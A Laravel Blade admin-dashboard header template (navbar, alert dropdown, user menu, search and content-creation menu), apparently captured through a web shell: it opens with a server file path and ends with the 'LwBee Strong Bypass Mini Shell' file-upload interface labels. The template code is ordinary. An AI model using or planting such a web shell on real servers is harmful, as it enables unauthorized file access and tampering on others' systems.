/home/storage/f/3f/a5/aloic1/public_html/core/resources/views/dashboard/layouts/header.blade.php
<div class="app-header white box-shadow navbar-md">
    <div class="navbar">
        <!-- Open side - Naviation on mobile -->
        <a data-toggle="modal" data-target="#aside" class="navbar-item pull-left hidden-lg-up">
            <i class="material-icons">&#xe5d2;</i>
        </a>
        <!-- / -->

        <!-- Page title - Bind to $state's title -->
        <div class="navbar-item pull-left h5" ng-bind="$state.current.data.title" id="pageTitle"></div>

        <!-- navbar right -->
        <ul class="nav navbar-nav pull-right">
            <li class="nav-item p-t p-b">
                <a class="btn btn-sm info marginTop2" href="{{ route("Home") }}" target="_blank"
                   title="{{ __('backend.sitePreview') }}">
                    <i class="material-icons">&#xe895;</i> {{ __('backend.sitePreview') }}
                </a>
            </li>
            <?php
            $webmailsAlerts = Helper::webmailsAlerts();
            $eventsAlerts = Helper::eventsAlerts();
            $alerts = count($webmailsAlerts) + count($eventsAlerts);
            ?>
            @if($alerts >0)
                <li class="nav-item dropdown pos-stc-xs">
                    <a class="nav-link" href data-toggle="dropdown">
                        <i class="material-icons">&#xe7f5;</i>
                        @if($alerts >0)
                            <span class="label label-sm up warn">{{ $alerts }}</span>
                        @endif
                    </a>
                    <div class="dropdown-menu pull-right w-xl animated fadeInUp no-bg no-border no-shadow">
                        <div class="box dark">
                            <div class="box p-a scrollable maxHeight320">
                                <ul class="list-group list-group-gap m-a-0">
                                    @foreach($webmailsAlerts as $webmailsAlert)
                                        <li class="list-group-item lt box-shadow-z0 b">
                                    <span class="clear block">
                                        <small>{{ $webmailsAlert->from_name }}</small><br>
                                        <a href="{{ route("webmailsEdit",["id"=>$webmailsAlert->id]) }}"
                                           class="text-primary">{{ $webmailsAlert->title }}</a>
                                        <br>
                                        <small class="text-muted">
                                            {{ date('d M Y  h:i A', strtotime($webmailsAlert->date)) }}
                                        </small>
                                    </span></li>
                                    @endforeach
                                    @foreach($eventsAlerts as $eventsAlert)
                                        <li class="list-group-item lt box-shadow-z0 b">
                                    <span class="clear block">
                                        <a href="{{ route("calendarEdit",["id"=>$eventsAlert->id]) }}"
                                           class="text-primary">{{ $eventsAlert->title }}</a>
                                        <br>
                                        <small class="text-muted">
                                            @if($eventsAlert->type ==3 || $eventsAlert->type ==2)
                                                {{ date('d M Y  h:i A', strtotime($eventsAlert->start_date)) }}
                                            @else
                                                {{ date('d M Y', strtotime($eventsAlert->start_date)) }}
                                            @endif
                                        </small>
                                    </span></li>
                                    @endforeach

                                </ul>
                            </div>
                        </div>
                    </div>
                </li>
            @endif
            <li class="nav-item dropdown">
                <a class="nav-link clear" href data-toggle="dropdown">
                  <span class="avatar w-32">
                      @if(Auth::user()->photo !="")
                          <img src="{{ asset('uploads/users/'.Auth::user()->photo) }}" alt="{{ Auth::user()->name }}"
                               title="{{ Auth::user()->name }}">
                      @else
                          <img src="{{ asset('uploads/contacts/profile.jpg') }}" alt="{{ Auth::user()->name }}"
                               title="{{ Auth::user()->name }}">
                      @endif
                      <i class="on b-white bottom"></i>
                  </span>
                </a>
                <div class="dropdown-menu pull-right dropdown-menu-scale">
                    @if(Helper::GeneralWebmasterSettings("inbox_status"))
                        @if(@Auth::user()->permissionsGroup->inbox_status)
                            <a class="dropdown-item"
                               href="{{ route('webmails') }}"><span>{{ __('backend.siteInbox') }}</span>
                                @if( @$webmailsNewCount >0)
                                    <span class="label warn m-l-xs">{{ @$webmailsNewCount }}</span>
                                @endif
                            </a>
                        @endif
                    @endif
                    @if(Auth::user()->permissions ==0 || Auth::user()->permissions ==1)
                        <a class="dropdown-item"
                           href="{{ route('usersEdit',Auth::user()->id) }}"><span>{{ __('backend.profile') }}</span></a>
                    @endif
                    <div class="dropdown-divider"></div>
                    <a onclick="event.preventDefault();document.getElementById('logout-form').submit();"
                       class="dropdown-item" href="{{ url('/logout') }}">{{ __('backend.logout') }}</a>

                    <form id="logout-form" action="{{ url('/logout') }}" method="POST" style="display: none;">
                        {{ csrf_field() }}
                    </form>
                </div>
            </li>

            <li class="nav-item hidden-md-up">
                <a class="nav-link" data-toggle="collapse" data-target="#collapse">
                    <i class="material-icons">&#xe5d4;</i>
                </a>
            </li>
        </ul>
        <!-- / navbar right -->

        <!-- navbar collapse -->
        <div class="collapse navbar-toggleable-sm" id="collapse">
            {{Form::open(['route'=>['adminFind'],'method'=>'POST', 'role'=>'search', 'class' => "navbar-form form-inline pull-right pull-none-sm navbar-item v-m" ])}}

            <div class="form-group l-h m-a-0">
                <div class="input-group input-group-sm"><input type="text" name="q" class="form-control p-x rounded"
                                                               placeholder="{{ __('backend.search') }}..." required>
                    <span
                        class="input-group-btn"><button type="submit" class="btn white b-a rounded no-shadow"><i
                                class="fa fa-search"></i></button></span></div>
            </div>
            {{Form::close()}}
        <!-- link and dropdown -->
            @if(@Auth::user()->permissionsGroup->add_status)
                <ul class="nav navbar-nav">
                    <li class="nav-item dropdown">
                        <a class="nav-link" href data-toggle="dropdown">
                            <i class="fa fa-fw fa-plus text-muted"></i>
                            <span>{{ __('backend.new') }} </span>
                        </a>
                        <div class="dropdown-menu dropdown-menu-scale">
                            <?php
                            $data_sections_arr = explode(",", Auth::user()->permissionsGroup->data_sections);
                            $clr_ary = array("info", "danger", "success", "accent",);
                            $ik = 0;
                            $mnu_title_var = "title_" . @Helper::currentLanguage()->code;
                            $mnu_title_var2 = "title_" . env('DEFAULT_LANGUAGE');
                            ?>
                            @if(@Auth::user()->permissionsGroup->add_status)
                                @foreach($GeneralWebmasterSections as $headerWebmasterSection)
                                    @if(in_array($headerWebmasterSection->id,$data_sections_arr))
                                        <?php
                                        if ($headerWebmasterSection->$mnu_title_var != "") {
                                            $GeneralWebmasterSectionTitle = $headerWebmasterSection->$mnu_title_var;
                                        } else {
                                            $GeneralWebmasterSectionTitle = $headerWebmasterSection->$mnu_title_var2;
                                        }
                                        $LiIcon = "&#xe2c8;";
                                        if ($headerWebmasterSection->type == 3) {
                                            $LiIcon = "&#xe050;";
                                        }
                                        if ($headerWebmasterSection->type == 2) {
                                            $LiIcon = "&#xe63a;";
                                        }
                                        if ($headerWebmasterSection->type == 1) {
                                            $LiIcon = "&#xe251;";
                                        }
                                        if ($headerWebmasterSection->type == 0) {
                                            $LiIcon = "&#xe2c8;";
                                        }
                                        if ($headerWebmasterSection->id == 1) {
                                            $LiIcon = "&#xe3e8;";
                                        }
                                        if ($headerWebmasterSection->id == 7) {
                                            $LiIcon = "&#xe02f;";
                                        }
                                        if ($headerWebmasterSection->id == 2) {
                                            $LiIcon = "&#xe540;";
                                        }
                                        if ($headerWebmasterSection->id == 3) {
                                            $LiIcon = "&#xe307;";
                                        }
                                        if ($headerWebmasterSection->id == 8) {
                                            $LiIcon = "&#xe8f6;";
                                        }

                                        ?>
                                        <a class="dropdown-item"
                                           href="{{route("topicsCreate",$headerWebmasterSection->id)}}"><span><i
                                                    class="material-icons">{!! $LiIcon !!}</i> &nbsp;{!! $GeneralWebmasterSectionTitle !!}</span></a>
                                    @endif
                                @endforeach

                                @if(@Auth::user()->permissionsGroup->banners_status)
                                    <a class="dropdown-item" href="{{route("Banners")}}"><i class="material-icons">
                                            &#xe433;</i>
                                        &nbsp;{{ __('backend.adsBanners') }}</a>
                                @endif
                                <div class="dropdown-divider"></div>

                                @if(Helper::GeneralWebmasterSettings("newsletter_status"))
                                    @if(@Auth::user()->permissionsGroup->newsletter_status)
                                        <a class="dropdown-item" href="{{route("contacts")}}"><i class="material-icons">
                                                &#xe7ef;</i>
                                            &nbsp;{{ __('backend.newContacts') }}</a>
                                    @endif
                                @endif
                            @endif
                            @if(Helper::GeneralWebmasterSettings("inbox_status"))
                                @if(@Auth::user()->permissionsGroup->inbox_status)
                                    <a class="dropdown-item" href="{{ route("webmails",["group_id"=>"create"]) }}"><i
                                            class="material-icons">&#xe0be;</i> &nbsp;{{ __('backend.compose') }}
                                    </a>
                                @endif
                            @endif

                        </div>
                    </li>
                </ul>
        @endif
        <!-- / -->
        </div>
        <!-- / navbar collapse -->
    </div>
</div>
@LwBee Strong Bypass

LwBee Strong Bypass Mini Shell

Upload File

Create New File